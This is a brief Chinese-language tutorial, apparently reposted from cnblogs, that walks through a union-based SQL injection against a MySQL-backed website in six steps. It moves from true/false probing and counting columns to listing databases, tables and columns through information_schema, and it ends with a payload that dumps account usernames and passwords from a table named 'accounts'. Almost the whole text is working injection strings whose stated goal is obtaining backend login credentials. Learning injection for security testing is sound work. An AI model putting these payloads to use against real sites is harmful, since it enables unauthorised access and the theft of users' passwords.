查询网站的后台登陆密码

第一步 判断用户构造的语句是否被执行。
  1 and 1=1
  判断:
  and 1=1 真
  and 1=2 假
第二步 用户开始构造攻击语句。
  1 order by 1,2,3
  判断数据库列数
  1 and 1 order by 数字
第三步 构造union 查询语句。
  union select 1,2,3,4
  1 and 1 union select 1,2,user(),4
  user()作用 查询当前用户权限
  database() 查询当前数据库
  1 and 1 union select 1,2,database(),4。
  如何查询mysql下的所有数据库?
  1 and 1 union select 1,2,group_concat(schema_name),4 from information_schema.schemata
  schema_name 所有数据库
  group_concat 查询结果以组的方式输出。
  A数据库
   表名
    字段
      字段内容===》账号密码。
  B数据库
   表名
    字段
第四步 查询 数据库下的表
  table_name 所有表名
  table_schema 所有数据库名
  1 and 1 union select 1,group_concat(table_name),3,4 from information_schema.tables where
  table_schema=database()
  //查询所有的数据库的表名,满足条件
第五步 查询 数据库表下的字段。
  column_name //所有的字段
  1 and 1 union select 1,group_concat(column_name),3,4 from information_schema.columns where
  table_name='accounts'
  //查询所有的数据库的字段,满足条件
第六步 查询 数据库中字段的内容。
  1 and 1 union select 1,group_concat(uname,0x3a,passwd),3,4 from webscantest.accounts

猜你喜欢

转载自www.cnblogs.com/wxj1711652908/p/12381502.html